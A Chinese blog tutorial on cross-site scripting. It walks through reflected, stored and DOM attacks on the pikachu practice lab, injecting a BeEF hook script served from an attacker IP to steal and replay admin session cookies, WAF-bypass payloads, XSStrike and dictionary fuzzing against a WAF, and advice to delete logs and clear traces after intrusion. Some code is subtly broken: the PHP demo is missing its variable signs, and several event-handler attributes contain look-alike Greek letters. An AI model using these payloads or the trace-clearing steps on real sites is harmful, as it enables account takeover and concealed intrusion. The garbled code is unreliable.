#作者:允砸儿
#日期:乙巳青蛇年 六月初十
今天笔者介绍的漏洞是我们在日常生活中可以接触到的,但是跨站脚本攻击危害性不是很大,所以笔者简单介绍一下这部分知识。让我们直接进入正题。
1、xss简介
跨站脚本攻击 XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆 故将跨站脚本攻击缩写为 XSS 。
恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。
功能与危害
1、盗取各类用户账号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击(重定向语句)
8、窃取 cookie的sessionid,冒充登录
2、反射型与存储型xss
xss 攻击可分为三类:反射型、存储型、dom 型,很容易混淆的是反射和dom类型。危害较大的也是dom型。
a、反射型
案例一
直接编写demo做一个1.php内容为:
<?php xss = _GET['x'];echo $xss;?>
在url里面输入:http://localhost/1.php?x=\<script>alert(1)</script>,网页回出现一个1的点击弹窗。
案例二
这个在pikachu的靶场里面的反射型xss漏洞(get)
步骤1、输入框内有一个长度限制,需要f12,改一下前端的长度限制
步骤2、在输入框内输入x=<script>alert(1)</script>
总结流程和原理
客户端 (我已经开机了) 黑客(诱导你点击url链接)#这个连接我插入恶意的代码,只要你点击这个链接
客户端只要你点击,他就会向服务端发送请求。sql服务器会从url取出来并且拼接到html中返回浏览器
客户端解析它返回的代码,此前黑客注入在url中的恶意代码会随之执行,从而做出一些行为。
恶意代码script中写很多东西,服务端一请求会把代码拿出来,随之,会获得你的cookie seionid就会被拿到。
b、存储型
案例一
在pikachu的靶场里面的反射型xss漏洞(存储型xss)
他会存储在对方服务器中一直会在,攻击会一直持续下去的。
攻击语句:<script>alert(1)</script>
你搞完之后,需要删除日志,痕迹清理。内网渗透需要做痕迹清理,之后需要写漏洞渗透报告。
总结: 攻击数据存储在服务器,攻击一直持续下去,危害比反射大。
c、dom型
在pikachu的靶场里面的dom型xss漏洞(dom型xss)
原理:dom型主要一次点击跳转页面,所以在跳转的超链接后面加一个,href后面加一个=....代码。#在a标签里面是跳转空连接,用'进行闭合。
#' οnclick="alert('hack')" | 用a标签去触发的
在我们打靶场的时候我们可以先看看源代码说不定里面就有提示了。
总结
黑客诱导用户点击恶意url:注入script恶意代码xxxxxx.com/?xxx=<script>恶意代码</script>
客户端用户执行相关攻击代码,发送相关信息(如cookie)or 其他操作。
3、xss综合案例
实战:
前期准备环境,一个后台系统的靶场。在kali使用docker拉取beff环境
案例1
步骤1
客户端:蓝队(宿主机、外面的电脑、后台系统靶场jfdd)192.12.1.2
攻击端:红队(kali、虚拟机、beef)192.18.5.3
在留言内容版输入:<script src="http://192.18.5.3:3000/hook.js"></script>
步骤2
在工具beef里面==》》command==》》redirect。开始篡改网页
案例2
步骤1
在beef工具中获取对方的cookie,在kai的hackbar里面加入它的cookie
#在这里面需要注意有可能不让你用beefhook
步骤2
cookie里面有phpsession id,admin登录状态的个人东西,我可以进行信息收集知道你的网站和IP地址,以及登录后台的网址。
#注意需要对方一直处于登陆界面。
#注意对方是登录状态,如果将原目标任务挤掉,那就不能使用beef.xxs
#注意hock.js是js文件并不是木马。
实际情况
1、需要对方网站有此漏洞
2、浏览器版本会修复此漏洞
3、需要对方一直登录状态
4、遇到各种防护WAF
5、怎么让对方触发(重点,核心点)
例如:我在该网站进行下单的时候把js发过去,但是没有触发。陌生人不会点击该网站所以不好触发此漏洞。
4、XSS绕过技巧和修复
笔者写一下waf绕过的内容。首先就是使用其他标签来替换,不同的waf过滤手段并不一样,需要自己去尝试。
1、标签语法替换:
audio标签:
<audio src=x οnerrοr=alert(47)>
<audio src=x οnerrοr=prompt(1);>
<audio src=1 href=1 οnerrοr=javascript:alert(1)></audio>
video标签:
<video src=x οnerrοr=prompt(1);>
<video src=x οnerrοr=alert(48)>
button标签:
<button οnfοcus=alert(1) autofocus>
<button/οnclick=alert(1) >xss</button>
加密算法:
<details open οntοggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >
2、利用绕过工具
xssstrike
笔者在这里贴一个GitHub的网址里面有该工具:https://github.com/s0md3v/XSStrike
简单写一下参数:
-h, --help //显示帮助信息
-u, --url //指定目标 URL
--data //POST 方式提交内容
-v, --verbose //详细输出
-f, --file //加载自定义 paload 字典
-t, --threads //定义线程数
-l, --level //爬行深度
-t, --encode //定义 payload 编码方式
--json //将 POST 数据视为 JSON
--path //测试 URL 路径组件
--seeds //从文件中测试、抓取 URL
--fuzzer //测试过滤器和 Web 应用程序防火墙。
--update //更新 --timeout //设置超时时间
--params //指定参数
--crawl //爬行
--proxy //使用代理
--blind //盲测试
--skip //跳过确认提示
--skip-dom //跳过 DOM 扫描
--headers //提供 HTTP 标头
-d, --delay //设置延迟
案例1
fuzz测试1
安装依赖:pip install -r requirements.txt
C:\Users\86188\Desktop\tool\XSStrike-master>python xsstrike.py -u "http://localhost/1.php?x=1" --fuzzer
#注意前面交加xss工具的目录
直接探测
C:\Users\86188\Desktop\tool\XSStrike-master>python xsstrike.py -u "http://localhost/1.php?x=1"

发现并没有payload加载,原因是1.php并不是一个正确的html页面
我们需要修改1.php

payload:<detaiLs%09OnpointerEnTeR+=+confirm()#绕过狗的密码
测试

案例2
使用 bp来训狗
笔者在这里贴一个payload字典的网址链接,里面有我们需要的:https://github.com/tennc/fuzzdb/
直接动用字典训狗,在GET /1.php?x=??? HTTP/1.1,在x后面直接插入字典破解。
如何删除安全狗以及下载安全狗
笔者在这里简单写一下安全狗的内容是我们在打靶机的时候用的。
1、停掉phpstudy
2、回到apache文件夹内/bin
3、使用管理员的身份运行#如何切换目录,复制文件夹的确切地址到cmd中,随后在输入D:盘的根目录
4、httpd.exe
5、回到我的电脑里面有一个服务,找到apache的服务改成手动启动
#注意这里面可能卸载不干净启动失败
6、狗安装到phpstudy里面所在的apache目录
7、没有卸载干净,需要清空注册表。
#使用删除命令//重装phpstudy//修改注册表:config》httpd.conf
修复防御
httponly
如果在 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无法读取到 cookie信息,这样能有效的防止XSS攻击,但是并不能防止xss 漏洞只能是防止cookie被盗取。
总结:只是简单写一下xss漏洞,此漏洞危害并不是很大。笔者拖更了很长时间非常抱歉,后面笔者会持续更新的请朋友们放心。
最后,我想分享一个重要的学习心得:学会掌控自己,是高效学习的关键。 具体来说有两点建议:
1、让知识真正属于自己: 无论是做思维导图还是整理笔记,关键在于主动加工和内化。不要只是机械记录,要动手去修改、优化思维导图,把笔记真正变成符合自己思维习惯的"知识地图"。同时,养成提前规划的习惯,前一天晚上就思考清楚第二天要完成的核心任务。
2、科学休息,保持专注: 建议每学习两小时左右,就安排一次半小时的休息。休息时务必远离手机和短视频! 因为它们会严重分散你的注意力,让思维难以迅速回到学习状态,反而消耗了宝贵的精力。
这就是我实践后觉得非常有效的方法,分享给大家。希望我们都能持续精进,一起变得更强!